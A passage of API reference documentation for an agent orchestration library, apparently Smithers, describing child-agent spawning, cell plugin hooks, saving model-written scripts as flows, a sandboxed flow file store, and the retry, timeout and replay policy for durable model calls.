    /** How long a `still_running` await waited, in milliseconds. */
    limitMillis: Schema.optional(Schema.Number)
  }
)
```

A child lifecycle refusal the agent can see. Separate from `HarnessError` on
purpose: an unsupported operation or a child that failed is data the cell may
catch, while a `HarnessError` is a park or an abort the cell must never
swallow.

### ChildFlows flow declarations and schemas

| Export                                   | Declaration                                                                                                                                                                                                                           |
| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `spawnFlow`, `SpawnInput`, `SpawnOutput` | `agent/spawn`: start a child agent and return its id without waiting. Input `{ flow, input?, label? }`; the label is the child's identity within the run, so two concurrent children of one flow need two labels. Output `{ child }`. |
| `sendFlow`, `SendInput`, `SendOutput`    | `agent/send`: send a steering message to a running child. Input `{ child, message }`. Output `{ delivered }`.                                                                                                                         |
| `awaitFlow`, `AwaitInput`, `AwaitOutput` | `agent/await`: wait for a child to finish and return its output. Input `{ child }`. Output `{ child, output }`.                                                                                                                       |

## EngineChildren

The durable implementation of `ChildFlows.Children`: detached children as real
runs. It touches three services and no more: `FlowRuntime`, `RunStore`, and
`Control`.

### EngineChildren.make, EngineChildren.layer

```ts
const make: (
  options: Options
) => Effect.Effect<ChildFlows.Children, never, Control | Crypto.Crypto | FlowRuntime.FlowRuntime | RunStore.RunStore>

const layer: (
  options: Options
) => Layer.Layer<ChildFlows.Children, never, Control | Crypto.Crypto | FlowRuntime.FlowRuntime | RunStore.RunStore>
```

Builds or provides the durable child port:

- `spawn` starts the named flow as a run of its own, linked to the caller
  through the engine's parent-edge table and spawned with the result discarded,
  which records `onParentExit: "detach"` so the child outlives its parent. It
  answers once the child's run row exists. The start budget includes storage
  reads and interrupts stalled admission. Only omitted input defaults to `{}`;
  explicit `null` reaches the child's payload schema unchanged. Detached
  execution diagnostics are redacted before logging.
- `await` reads the child's settled result out of the run store, so it works
  from a different engine, a different process, and a later incarnation. It
  parks the caller on durable timers between checks inside a flow. A sealed
  invocation deadline survives replay, including process restart. Outside a
  flow, host collectors poll in memory. Runtime polling and state decoding
  failures are catchable `ChildError { code: "failed" }` failures.
- `send` steers the child through `Control.steer`, naming the message with the
  calling step's canonical key so a re-driven round delivers it once. The
  message carries a timestamp read inside a sealed step, so a re-drive submits
  the same bytes. `Accepted` and `AlreadyApplied` receipts answer
  `delivered: true`; every other receipt fails the call.

`await` and `send` are bound as tools whose `child` is a string the cell
writes, so both are restricted to the calling run's own children. A call made
inside a run may name only ids in that run's child namespace, `childExecutionId`
of its own execution id; anything else is `ChildError { code: "not_found" }`,
whether or not such a run exists. A call made outside any run is the host
collecting a child of its own over the run store and control plane it already
holds, and is not restricted.

### EngineChildren.Options

| Field          | Type                      | What it decides                                                                                                                                                     |
| -------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `flows`        | `ReadonlyArray<Flow.Any>` | The flows a child may run, by `_tag`. Anything else is `ChildError { code: "not_found" }`. Registering the flow with the runtime is separate and still required.    |
| `pollInterval` | `Duration.Input`          | How long `await` waits before re-reading an unsettled child, and how long `spawn` waits between checks for the child's run row. Defaults to 250 ms.                 |
| `startTimeout` | `Duration.Input`          | How long `spawn` waits for the child's run row before reporting the child never started. Defaults to 30 seconds.                                                    |
| `awaitTimeout` | `Duration.Input`          | How long `await` polls an unsettled child before answering `ChildError { code: "still_running" }`, when the call names no `timeoutSeconds`. Defaults to 10 minutes. |

`spawn` owns its startup fiber until the row is confirmed. Timeout, store
failure, and cancellation interrupt and join it before returning failure.

A run store that cannot answer is `ChildError { code: "failed" }`, logged with
its cause, never `not_found` and never a defect.

### EngineChildren.childExecutionId

```ts
const childExecutionId: (parentExecutionId: string, label: string) => string
```

The execution id a labelled child runs under:
`child-v2:<parent length>:<parent><label length>:<label>`. Lengths count JavaScript
UTF-16 code units. Both components are delimited, including labels containing
`/child/`. Treat the returned id as opaque.
Derived rather than minted, so a parent that is re-driven spawns the same child
rather than a second one.

### EngineChildren.ChildState

```ts
const ChildState = Schema.Struct({ flowName: Schema.String })
```

The one key this port reads out of a child run's state document: the name of
the flow the child is running, because `FlowRuntime.poll` addresses an
execution by declaration and a cell only ever has the child's id.

## CellPlugin

Cell-harness hooks hosted by the shared plugin kernel from
[`@smthrs/plugin`](/docs/reference/api/plugin/). This module augments the kernel's open hook
catalog with four dispatch points and resolves a cell host's plugin list for
the harness target.

### The hooks

Registered on `FlowsHooks` by module augmentation:

| Hook               | Kind      | What it transforms                                                                                                                                                             |
| ------------------ | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `cellRegistry`     | waterfall | The one registry used for disclosure and call resolution.                                                                                                                      |
| `cellFlows`        | waterfall | The executable flow bindings the host composes. The last handler's array is both the descriptors disclosed to the model and the implementations the boundary resolves against. |
| `cellMonitors`     | waterfall | The monitors the supervisor scores, after `Monitor.defaults()` and `supervisor.monitors`. The result is validated before the first frame.                                      |
| `cellModelRequest` | waterfall | A provider-neutral request, immediately before its sealed model step. A plugin may rewrite what is asked; it does not change how long the run waits for the answer.            |

### CellPlugin.hooks

```ts
const hooks: /* engineHooks plus the four cell waterfalls, frozen */
```

The runtime hook catalog supplied when the plugin kernel resolves for a cell
host.

### CellPlugin.make

```ts
const make: (
  input?: PluginInput<FlowsHooks>,
  config?: FlowsConfig
) => Effect.Effect<Kernel.Kernel<FlowsHooks>, PluginError>
```

Resolves a cell host's plugin list through the shared kernel, for the harness
target.

### CellPlugin.registry, CellPlugin.flows, CellPlugin.monitors, CellPlugin.modelRequest

```ts
const registry: (plugins: Plugins.Service<FlowsHooks>, initial: Registry.Registry) => ...
const flows: (plugins: Plugins.Service<FlowsHooks>, initial: ReadonlyArray<FlowBinding.Binding>) => ...
const monitors: (plugins: Plugins.Service<FlowsHooks>, initial: ReadonlyArray<Monitor.Monitor>) => ...
const modelRequest: (plugins: Plugins.Service<FlowsHooks>, initial: ModelRequest.ModelRequest) => ...
```

Run the four ordered waterfalls.

### CellPlugin.fromBindings

```ts
const fromBindings: (options: {
  readonly name: string
  readonly bindings: ReadonlyArray<FlowBinding.Binding>
  readonly enforce?: "pre" | "post" | undefined
  readonly apply?: Apply | undefined
}) => FlowsPlugin<FlowsHooks>
```

The one-liner for authoring a harness plugin that contributes executable flows.
Ordering, `apply` filtering, and the config waterfall are the kernel's,
unchanged; a plugin that needs to transform other plugins' flows writes the
`cellFlows` hook itself.

### CellPlugin.identity

```ts
const identity: (
  layers: ReadonlyArray<string>,
  plugins: Plugins.Service<FlowsHooks>,
  config: ResolvedConfig
) => Effect.Effect<string, PluginError>
```

Computes the order-sensitive identity of a resolved host composition, as
`flows/cell-composition/v1:<digest>`. Plugin and layer order can change request
and registry semantics, so the ordered declarations and resolved config are
folded into one digest inside the otherwise set-like layer material.

## SmithersPlugin

A cell plugin that teaches an agent Smithers itself. It uses the two
`CellPlugin` hooks above and adds no `ctx` global: a cell reaches its flows
with `ctx.call`, like every other capability.

```ts
import { SmithersPlugin } from "@smthrs/agent"

agent.run({ ...options, plugins: [SmithersPlugin.make(ports)] })
```

| Flow               | Needs `ports` | What it does                                                                       |
| ------------------ | ------------- | ---------------------------------------------------------------------------------- |
| `smithers.guide`   | no            | Returns `knowledge` for `{ topic?: "packages" \| "cli" \| "authoring" \| "all" }`. |
| `smithers.flows`   | yes           | Lists the project flows a model may start.                                         |
| `smithers.run`     | yes           | Requests a run `{ id, flow, input? }` and returns its receipt at once.             |
| `smithers.inspect` | yes           | Reads one run's status, steps, and result without waiting.                         |

### SmithersPlugin.make

```ts
const make: (ports?: Ports) => FlowsPlugin<FlowsHooks>
```

The plugin, named `smithers`, applied to the harness target. `cellFlows`
appends the flows above; a name already in the catalog fails catalog assembly
instead of being shadowed. `cellModelRequest` appends `brief` to the system
prompt once.

### SmithersPlugin.Ports

```ts
interface Ports {
  readonly list: () => unknown
  readonly run: (request: { id: string; flow: string; input?: { [key: string]: Schema.Json } }) => unknown
  readonly inspect: (id: string) => unknown
}
```

The host's own run path. Each port returns data or a promise of it; the flow
returns it as plain JSON. Ports retain their receiver. Thrown errors, rejected
promises, and serialization failures become opaque call failures; host exception
text never enters the model-visible result or the flow-call failure record.
The model chooses every `id` and `flow`, so the host scopes them: `inspect`
answers only runs this session may read, and `run` refuses flows that are not
model-invocable and routes the launch through the host's own approval.

### SmithersPlugin.knowledge, SmithersPlugin.brief, SmithersPlugin.guide

`knowledge` holds `packages`, `cli`, and `authoring` facts, each
`{ name, about }`. `brief` is the short system teaching. `guide` is the
`smithers.guide` binding; `flows(ports?)` returns every binding `make`
contributes. `Topic` is the guide's topic schema and `name` is `"smithers"`.

## PromoteFlows

Saving a flow returns its written files even when registry refresh fails, with
an optional `warning` naming the failure code. A failed refresh logs and annotates
that code without including registry error text. Model descriptions are omitted
from span attributes; validated flow ids identify the save.

Turning the script the model just ran into a saved flow, as two ordinary flows.
For the walkthrough, see [Save the script a run wrote as a flow](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/docs/guides/promote-flows.md).

### PromoteFlows.source

```ts
const source: (
  services: Context.Context<CellHistory.CellHistory | FlowStore.FlowStore>,
  options?: Options
) => FlowBinding.Source
```

Promotion as two ordinary flows:

- `flows/show-script` hands the model its own turn back: the source of every
  cell it executed, in order, plus the rules a saved flow has to follow and the
  file skeleton to fill in. It reads the `CellHistory` the controller records
  into, so a host that keeps no history reports an empty script.
- `flows/write-flow` takes the three files that come back and writes them
  through a `FlowStore`. When a `Registry` is in context it is refreshed
  afterwards. Pass that same registry to `Agent.run`: a successful refresh
  makes the saved model-invocable flow visible and callable next frame. Each
  frame journals its descriptor snapshot for replay. The id is validated before
  the store is asked, so a bad id is never misread as "nowhere to save".

### PromoteFlows.Options

| Field           | Type     | What it decides                                     |
| --------------- | -------- | --------------------------------------------------- |
| `bestPractices` | `string` | Replaces the rules a saved flow has to follow.      |
| `template`      | `string` | Replaces the `flow.ts` skeleton the model fills in. |

### PromoteFlows.bestPractices, PromoteFlows.flowTemplate

The house rules and the `flow.ts` skeleton `flows/write-flow` expects back. A
host whose flows are laid out differently replaces both through `Options`.

### PromoteFlows flow declarations and schemas

| Export                                                                        | Declaration                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| ----------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `showScriptFlow`, `ShowScriptInput`, `ShowScriptOutput`                       | `flows/show-script`: return the source of every cell this turn has executed, plus the rules and the skeleton. Input `{ bestPractices? }` (extra guidance appended after the house rules). Output `{ cells, bestPractices, template }`.                                                                                                                                                                                                                                       |
| `writeFlowFlow`, `writeFlowCapabilities`, `WriteFlowInput`, `WriteFlowOutput` | `flows/write-flow`: write `flow.ts`, `flow.e2e.ts`, and the fixture under `.smithers/flows/<id>/`. Input `{ id, description, flowSource, testSource, fixtureJson }`. Output `{ files, warning? }`, the root-relative paths written and a warning if the registry refresh failed after saving. Declares `writes: [".smithers/flows/**"]` and `capabilities: writeFlowCapabilities` (`["fs:write:/.smithers/flows/**"]`), so a run whose envelope lacks that write is refused. |

## FlowStore

Where a saved flow's files land: one contract a checkout, a browser host, and
a test all satisfy, so `PromoteFlows` never learns which one it is talking to.

### FlowStore.Service and FlowStore.FlowStore

```ts
interface Service {
  readonly write: (id: string, files: Record<string, string>) => Effect.Effect<WriteResult, FlowStoreError>
  readonly list: () => Effect.Effect<ReadonlyArray<SavedFlow>, FlowStoreError>
}

class FlowStore extends Context.Service<FlowStore, Service>()("@smthrs/agent/FlowStore")
```

`write` keys files by their root-relative paths and reports them back
unchanged. `list` answers every flow the store holds, by id.

### FlowStore.SavedFlow, FlowStore.WriteResult

```ts
interface SavedFlow {
  readonly id: string
  readonly files: ReadonlyArray<string>
}

interface WriteResult {
  readonly files: ReadonlyArray<string>
}
```

### FlowStore.makeFileSystem, FlowStore.layerFileSystem

```ts
const makeFileSystem: (fs: FileSystem.FileSystem, path: Path.Path, root: string) => Service
const layerFileSystem: (root: string) => Layer.Layer<FlowStore, never, FileSystem.FileSystem | Path.Path>
```

A store over a directory on the host filesystem. Before creating directories,
it validates every path with the injected `Path` service. Absolute paths,
paths that resolve outside the root (including Windows backslash traversal),
root directory targets, and overlapping file paths are refused. Symbolic links
below the root are refused with `FlowStoreError { code: "invalid_path" }`.

Writing requires the kernel's descriptor-relative, no-follow filesystem host
extension, or a genuinely isolated filesystem. Plain path-based hosts fail
with `unsupported`. Publication, backups, rollback and cleanup use a view
pinned to the root; concurrent replacement of a parent cannot redirect writes.
Cleanup failure retains staging, logs a warning, and preserves the original
publication result.

Writes to the same resolved root are serialized within this process, including
across store instances and saves of the same flow.
Each save stages all new files and copies of existing files in a temporary
directory inside the root. Each target is then replaced by an atomic rename.
A publication failure restores replaced files and removes newly published
files. Staging is cleaned on failure or interruption; interruption during
publication waits for the full set to be installed or restored. If rollback
also fails, the error reports the directory where recovery files are retained.

Individual renames are atomic. External readers can observe the file set
between renames. This does not provide crash recovery or coordinate writers
in other processes.
`PromoteFlows` writes `<root>/.smithers/flows/<id>/{flow.ts,flow.e2e.ts,fixtures/<id>.json}`.

### FlowStore.makeMemory, FlowStore.layerMemory

```ts
const makeMemory: (written?: Map<string, string>) => Service
const layerMemory: (written?: Map<string, string>) => Layer.Layer<FlowStore>
```

A store over an in-memory map, keyed by path. The map is the caller's, so a
test writes through the store and reads the bytes back without a filesystem.
Every key must be a file path under `.smithers/flows/<id>/` with no empty, `.`, or `..`
segment; otherwise the whole write fails with
`FlowStoreError { code: "invalid_path" }` before any key is stored.

### FlowStore.makeNoop, FlowStore.layerNoop

```ts
const makeNoop: (overrides?: Partial<Service>) => Service
const layerNoop: (overrides?: Partial<Service>) => Layer.Layer<FlowStore>
```

A store that saves nothing, refusing with
`FlowStoreError { code: "unsupported" }` and a message the model can read.

### FlowStore.validateId, FlowStore.idPattern

```ts
const idPattern = /^[a-z][a-z0-9-]*$/
const validateId: (id: string) => Effect.Effect<void, FlowStoreError>
```

Refuses an id no flow directory could be named. The store is the last place an
id is still text: every path a write builds comes from it, so the check runs
before any of them are built, and `../escape` is refused as a bad id rather
than caught as a surprising write outside the root.

### FlowStore.FlowStoreError, FlowStore.FlowStoreErrorCode

```ts
const FlowStoreErrorCode = Schema.Literals(["invalid_id", "invalid_path", "write_failed", "unsupported"])

class FlowStoreError extends Schema.TaggedError<FlowStoreError>()(
  "@smthrs/agent/FlowStore/FlowStoreError",
  { code: FlowStoreErrorCode, message: Schema.String, cause: Schema.optional(Schema.Unknown) }
)
```

Every message is written for the model that will read it back as a call
failure, because the cell that asked to save a flow is the only thing that can
correct the id or reissue the write.

## FlowEngineLike

The production `EngineLike` binding: the harness engine port executed on the
durable flow engine from [`@smthrs/engine`](/docs/reference/api/engine/). Not to be confused
with the `FlowEngineLike` that [`@smthrs/testing`](/docs/reference/api/testing/) exports, which
adapts the same engine to that library's conformance contract for engine
implementations; the two share a backing engine and nothing else. For the port
mapping and the key rules, see [The engine port](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/docs/concepts/engine-port.md).

### FlowEngineLike.make, FlowEngineLike.layer

```ts
const make: (
  options: Options
) => Effect.Effect<
  EngineLike.EngineLike,
  never,
  Crypto.Crypto | FlowRuntime.FlowRuntime | FlowRuntime.FlowInstance | Budget.Budget | QuotaPolicy.QuotaClassifier
>

const layer: (options: Options) => Layer.Layer<EngineLike.EngineLike, never, ...>
```

Constructs or provides the durable harness engine port. `FlowInstance` is
per-execution, so this must be built inside a running flow body. The captured
services are supplied back to every activity, which is what keeps the port's
streams requirement-free the way `EngineLike` declares them.

The port implements `EngineLike.resolve`: it returns the request unchanged and
the `routeId` and `protocolId` of the `Route.PreparedRequest` its
`RouteResolver` prepares, which exists before any credential is signed on. A
request no route accepts resolves with no binding, and `sealStep` reports the
route's error. `Agent` wraps the port so `resolve` returns the request its
`cellModelRequest` plugins rewrote, and runs those plugins once per model
call.

### FlowEngineLike.Options

| Field              | Type                                              | What it decides                                                                                                                                                           |
| ------------------ | ------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `model`            | `Model.Model`                                     | The model sealed steps stream from. Required.                                                                                                                             |
| `route`            | `RouteResolver`                                   | Resolves the route one sealed request is prepared under. Required.                                                                                                        |
| `calls`            | `CallRunner`                                      | The cell loop's flow-call seam. Without one, a cell call is refused with a typed engine failure.                                                                          |
| `modelRetryPolicy` | `RetryPolicy.RetryPolicy`                         | The engine retry policy of every model step. Defaults to `defaultModelRetryPolicy`. It must bound `maxAttempts`, or `make` dies with a `RangeError`.                      |
| `layers`           | `ReadonlyArray<string>`                           | The resolved composition identity every durable key folds in: the layer set the host actually built, plus the resolved plugin list in resolution order.                   |
| `capabilities`     | `Readonly<Record<string, ReadonlyArray<string>>>` | The composition's complete effective authority, if the host knows it. Omitting it is the honest "unknown", and the engine pins every sealed key to the current execution. |

### FlowEngineLike.RouteResolver, FlowEngineLike.routeResolver

```ts
interface RouteResolver {
  readonly prepare: (
    request: ModelRequest.ModelRequest
  ) => Effect.Effect<Route.PreparedRequest, ModelError.ModelError>
}

const routeResolver: <Body, Frame, Event, State>(
  route: Route.Route<Body, Frame, Event, State>
) => RouteResolver
```

The port needs `Route.prepare` and nothing else, so a consumer can supply a
configured route, a router, or a recorded resolver in tests.

### FlowEngineLike.CallRunner, FlowEngineLike.WorkspaceCallRunner

```ts
interface CallRunner {
  readonly authorize?: (call: Cell.Call) => Effect.Effect<void, HarnessError.HarnessError>
  readonly run: (call: Cell.Call) => Effect.Effect<Cell.CallResult, HarnessError.HarnessError>
}

interface WorkspaceCallRunner {
  readonly authorize?: (call: Cell.Call) => Effect.Effect<void, HarnessError.HarnessError>
  readonly run: (
    call: Cell.Call
  ) => Effect.Effect<Cell.CallResult, HarnessError.HarnessError, WorkspaceSandbox.Workspace>
}
```

Executes one flow call issued from inside a running cell. The runner owns
lookup, decoding, attenuation, and placement; the port owns only durability.
`authorize` is checked before the durable boundary opens: an activity's outcome
is journaled, so a permission requirement raised from inside one would replay
forever and no later grant could unblock it. A `WorkspaceCallRunner` may also
touch the workspace it runs inside; a plain `CallRunner` satisfies it too.

### FlowEngineLike.CallReadings, FlowEngineLike.metered

```ts
class CallReadings extends Context.Service<CallReadings, {
  readonly admit: Effect.Effect<void, Evaluator.EvaluatorError>
  readonly paid: (usage: Evaluator.Usage) => Effect.Effect<void>
}>()("@smthrs/agent/FlowEngineLike/CallReadings")

const metered: <R>(
  services: Context.Context<R | Evaluator.Evaluator>
) => Context.Context<R | Evaluator.Evaluator>
```

A flow a cell calls may ask the host's judge itself (`jev`, memory relevance,
test failure attribution). The port provides `CallReadings` around each call,
and `metered` wraps the judge those flows are handed: each reading is admitted
with `Budget.admitReading`, failing `refused` without asking once the run's
budget is spent, and what it paid, taken or failed, is charged to the run
under the model it names when the call's execution ends, under a receipt of
that execution's own. A replayed call pays nothing again. Outside a call the
metered judge is the judge unchanged. `StandardFlows.jev`, `memory`, `tests`
and `Memory.binding` meter their judge already.

### FlowEngineLike.sandboxed

```ts
const sandboxed: (
  sandbox: WorkspaceSandbox.Service,
  runner: WorkspaceCallRunner,
  options?: { readonly layers?: ReadonlyArray<string> | undefined }
) => Effect.Effect<CallRunner, never, Crypto.Crypto>
```

Runs every cell call inside an outer workspace transaction. A call's declared
effects are checked, not trusted: a call that reads or writes outside what the
cell chose comes back `Invalidated`, and the adapter turns that into a catchable
call failure with the speculative changes discarded. Materialization is
explicit, so a conflicting concurrent write is a typed refusal instead of a
lost update. It is a `CallRunner` decorator rather than an option on `make`, so
a host chooses the transaction boundary by composition.

Sandbox memo keys include `Action.CurrentCacheEnvironment` (effective layers
and authority). Without that environment they include the ambient flow execution
id; outside a runtime, an unknown environment disables sandbox memoization.
`make` explicitly
clears an inherited cache environment when `Options.capabilities` is omitted,
so undeclared authority cannot enable reuse between runs.

### FlowEngineLike.RecordedModelStep

```ts
const RecordedModelStep = Schema.Union([
  Schema.Array(ModelEvent.ModelEvent),
  Schema.Struct({
    events: Schema.Array(ModelEvent.ModelEvent),
    error: Schema.optional(ModelError.ModelError),
    correction: Schema.optional(Schema.Int)
  })
])
```

The durable outcome of one sealed model step. The array branch is the format
written before model-boundary retries existed and stays decodable so a parked
run can resume onto a newer package. New records use the object branch, so a
terminal typed model failure replays after the `retry` event of a call its
attempt re-issued, and the `correction` ordinal names which structured-output
correction the call belonged to. A record holds one engine attempt's calls:
an earlier attempt that failed was charged as it ended and is not in it.

### FlowEngineLike.Correction

```ts
const Correction: Context.Reference<number | undefined>
```

The correction ordinal the model calls made under it belong to. `AgentAction`
sets it around each rung of its ladder and the port stamps it onto the rung's
sealed record. It is deliberately not key material: the session already
distinguishes the rungs. Absent by default, which is the honest reading of a
model call made outside any ladder.

### FlowEngineLike model step policies

| Constant                  | Value                            | What it bounds                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| ------------------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `defaultModelRetryPolicy` | 1 s doubling to 16 s, 6 attempts | The engine `RetryPolicy` of every model step, with `jitterRatio` 0.2. It retries only a `transport` failure and a `provider_internal` refusal, after the provider's `Retry-After` when it named one, and each attempt is one provider call whose number and spend survive a restart. A rate limit or a spent quota reaches the controller at once. The last attempt seals a transport failure as the step's value, so a replay answers it without a provider call; a `provider_internal` refusal still reaches the controller. |
| `defaultModelOverruns`    | 1                                | How many times one engine attempt re-issues a call its `modelCallMs` budget cut off, at once and with overrun teaching prepended. An overrun costs a whole armed ceiling, so it is never an engine retry: a second overrun is sealed as `call_timeout`.                                                                                                                                                                                                                                                                        |
| `defaultModelIdleMs`      | 300,000                          | How long a model stream may send nothing before it is cut off as `transport` and re-issued without teaching, at most `defaultModelOverruns` times. Armed only below the call's `modelCallMs` ceiling, and never when the request's `reasoningEffort` is `xhigh` or `max`: those calls are bounded by the ceiling alone.                                                                                                                                                                                                        |

### FlowEngineLike.workspaceRelative, FlowEngineLike.callBoundary, FlowEngineLike.callMaterial

```ts
const workspaceRelative: (path: string) => string
const callBoundary: (call: Cell.Call) => FileBoundary
const callMaterial: (call: Cell.Call, layers?: ReadonlyArray<string>) => KeyMaterial.KeyMaterial
```

The conversions between the agent-side declaration and the engine's file
boundary, and the workspace sandbox's content key over the declared call
material. `workspaceRelative` strips the leading `/`: the declaration's
"anywhere" (`/**`) and the boundary's "everything under the root" name the same
set. `callBoundary` maps a hermetic mode to a hard boundary. `callMaterial` is
the sandbox's separate content key, intentionally not equal to the durable
activity key, which nests effects under the body and includes the composition
digest.

## ModelStep

One model call as a durable, sealed flow step. It runs inside a flow body,
dispatches the call as one action under a key derived from the request, and
records the provider's whole answer as that action's value, so a resumed
execution replays the record instead of calling the provider again.
`FlowEngineLike`'s `sealStep` dispatches through the same implementation. For
the walkthrough, see [A durable model call](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/docs/guides/durable-model-call.md).

### ModelStep.run

```ts
const run: (
  options: Options
) => Effect.Effect<Result, Failure, Crypto.Crypto | FlowRuntime.FlowRuntime | FlowRuntime.FlowInstance>
```

Calls the model once, as one step of the running flow.

- **Key.** A digest of the credential-free prepared request (route id,
  protocol, method, URL, public headers and canonical body bytes) together with
  the encoded `ModelRequest`, through `StepKey.fromKeyMaterial`. The step name
  is part of it; the credential is not. Without a declared cache environment
  the engine scopes it to the execution, so another execution with an
  identical request calls the provider itself.
- **Retries.** `retryPolicy` is the only thing that retries: each attempt
  makes one provider call, with a byte-identical body, and the route's
  `RequestExecutor` repeats nothing inside it (`RequestExecutor.Retries` is 0). A failure another
  attempt may clear fails the attempt without sealing it: a dropped connection,
  a body that ends without a settlement, `transport`, `provider_internal`,
  `rate_limited`, `quota_exceeded`, or HTTP 429, 503, 504 or 529. The policy
  waits the provider's `Retry-After` (`retryAfterMillis`) when it named one.
  Every other provider error is sealed as `Result.error`.
- **Liveness.** Each attempt, each streamed event and each chunk of bytes the
  provider sends, a keep-alive comment or ping included (`Model.Liveness`), is
  a heartbeat. An attempt silent for `heartbeatTimeoutMs` fails with
  `Action.AttemptTimedOut`, which `retryPolicy` retries.
- **Call timeout.** An attempt that runs past `callTimeoutMs` is cut off and
  sealed as a `call_timeout` error. Waiting doesn't shorten an answer, so it
  isn't retried.
- **At least once.** A call cut off mid-flight, by a dying process or an
  interrupted fiber, is made again when the execution resumes. The
  `agent_model_step_redispatches` counter counts each repeat.

It fails with the last refusal once `retryPolicy` gives up, with a permission
failure, with the route's `prepare` error, or with an `engine_failed`
`HarnessError` when the key cannot be derived.

### ModelStep.model

```ts
const model: (
  options: Omit<Options, "request" | "onEvent">
) => Effect.Effect<Model.Model, never, Crypto.Crypto | FlowRuntime.FlowRuntime | FlowRuntime.FlowInstance>
```

A `Model` whose every call is one `run` of the running flow, keyed, sealed and
replayed under `options.name`, for code that takes a `Model` and calls it
itself, such as `Evaluator.layerFromSeat`. Build it inside a step. Its stream
emits the recorded events once the step settles, not while the provider
answers; use `run` with `onEvent` to watch a call live. A refusal the step
sealed fails the stream after those events. A step failure fails it with the
same error, and a key that cannot be derived fails it as a `ModelError` whose
code is `unknown`. See [Judge with sealed calls](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/docs/guides/durable-model-call.md#judge-with-sealed-calls).

### ModelStep.Options

| Field                | Type                                                    | What it decides                                                                                                                                                                  |
| -------------------- | ------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `name`               | `string`                                                | The action name, such as `chat/answer/model`. Part of the key. Required.                                                                                                         |
| `request`            | `ModelRequest.ModelRequest`                             | The request. Required.                                                                                                                                                           |
| `model`              | `Model.Model`                                           | The model that streams the call, with its credential applied. Required.                                                                                                          |
| `route`              | `FlowEngineLike.RouteResolver`                          | The same route's credential-free preparation, which the key digests. `FlowEngineLike.routeResolver` builds one. Required.                                                        |
| `retryPolicy`        | `RetryPolicy.RetryPolicy`                               | Retries every failure the step does not seal. Defaults to `defaultRetryPolicy`.                                                                                                  |
| `heartbeatTimeoutMs` | `number`                                                | Milliseconds an attempt may go without an event or a byte. Zero disarms it. Defaults to `heartbeatTimeoutMsFor(request.params.reasoningEffort)`.                                 |
| `callTimeoutMs`      | `number`                                                | Milliseconds one provider call may take before it is sealed as `call_timeout`. Zero disarms it. Defaults to `callTimeoutMsFor(request.params.reasoningEffort)`.                  |
| `onEvent`            | `(event: ModelEvent.ModelEvent) => Effect.Effect<void>` | Receives each event while the call runs, and the recorded events on a replay. An attempt that follows a failed or cut-off one starts with a `retry` event. Runs inside the step. |

`model` and `route` must describe one configured route: a `route` that
disagrees with `model` keys the step on bytes the provider never receives.

### ModelStep.Result

```ts
interface Result {
  readonly events: ReadonlyArray<ModelEvent.ModelEvent>
  readonly error?: ModelError.ModelError | undefined
  readonly replayed: boolean
}
```

The provider's events as recorded, the provider refusal the step sealed if
there was one, and whether this run answered from the record.

### ModelStep.Failure

```ts
const Failure: Schema.Union<[
  typeof ModelError.ModelError,
  typeof Permission.PermissionRequired,
  typeof Permission.PermissionDenied,
  typeof Permission.GrantStoreError,
  typeof HarnessError.HarnessError
]>
```

Everything `run` fails with, as one encodable schema. A flow whose body calls
`run` can declare it as its error schema.

### ModelStep.defaultRetryPolicy

At most six attempts. The first retry waits 1 s and each next one twice the
last, with up to a fifth of each delay shaved off at random. A provider's
`Retry-After` replaces the delay, up to 30 s. Permission failures are never
retried. The bound counts attempts rather than wall-clock time, because a model
call's attempts run from milliseconds to its call timeout.

### ModelStep.heartbeatTimeoutMsFor, ModelStep.callTimeoutMsFor

```ts
const heartbeatTimeoutMsFor: (effort: ModelRequest.ReasoningEffort | undefined) => number
const callTimeoutMsFor: (effort: ModelRequest.ReasoningEffort | undefined) => number
```

The defaults for `heartbeatTimeoutMs` and `callTimeoutMs` at a reasoning
effort. A host that calls models in several roles passes its own values per
call, starting from these.

| Effort                   | `heartbeatTimeoutMsFor` | `callTimeoutMsFor` |
| ------------------------ | ----------------------- | ------------------ |
| `none`, `minimal`, `low` | 60 s                    | 300 s              |
| unset, `medium`          | 300 s                   | 300 s              |
| `high`                   | 300 s                   | 900 s              |
| `xhigh`, `max`           | 0 (no bound)            | 1,800 s            |

A model that reasons can stream nothing while it thinks. An unset effort takes
the provider's default, which reasons. At `xhigh` and `max` silence isn't
evidence of a stall, so the call timeout is the only bound. The call timeouts
are the agent loop's own (`CellTurn.modelCallMsFor`).

## Checkpointed

Running one cell call against a pinned tree instead of the live one.
`@smthrs/harness` decides whether a call may name a checkpoint; this module is
the other half, the `CallRunner` decorator that asks the store for that tree as
a directory, points the call at it, and gives the directory back when the call
ends.

### Checkpointed.decorate, Checkpointed.checkpointed, Checkpointed.unpinned

```ts
const decorate: (runner: FlowEngineLike.CallRunner) => Effect.Effect<FlowEngineLike.CallRunner>
const checkpointed: (store: Checkpoints.Checkpoints, runner: FlowEngineLike.CallRunner) => FlowEngineLike.CallRunner
const unpinned: (runner: FlowEngineLike.CallRunner) => FlowEngineLike.CallRunner
```

`decorate` wraps a runner with checkpoint materialization when the composition
has a `Checkpoints` store, and with `unpinned` when it does not. A composition
that pins nothing is still wrapped: a call carrying an `at` must never quietly
read the live tree instead, so `unpinned` refuses it with
`checkpoint_unavailable`. A store that cannot hand the tree back is also a
catchable `checkpoint_unavailable` refusal, not a failed run.

### Checkpointed.unpinnedFact

```ts
const unpinnedFact: string
```

The system text `Agent.run` adds to a run whose composition has no
`Checkpoints` store. It says that `ctx.base`, `ctx.checkpoint()` and every
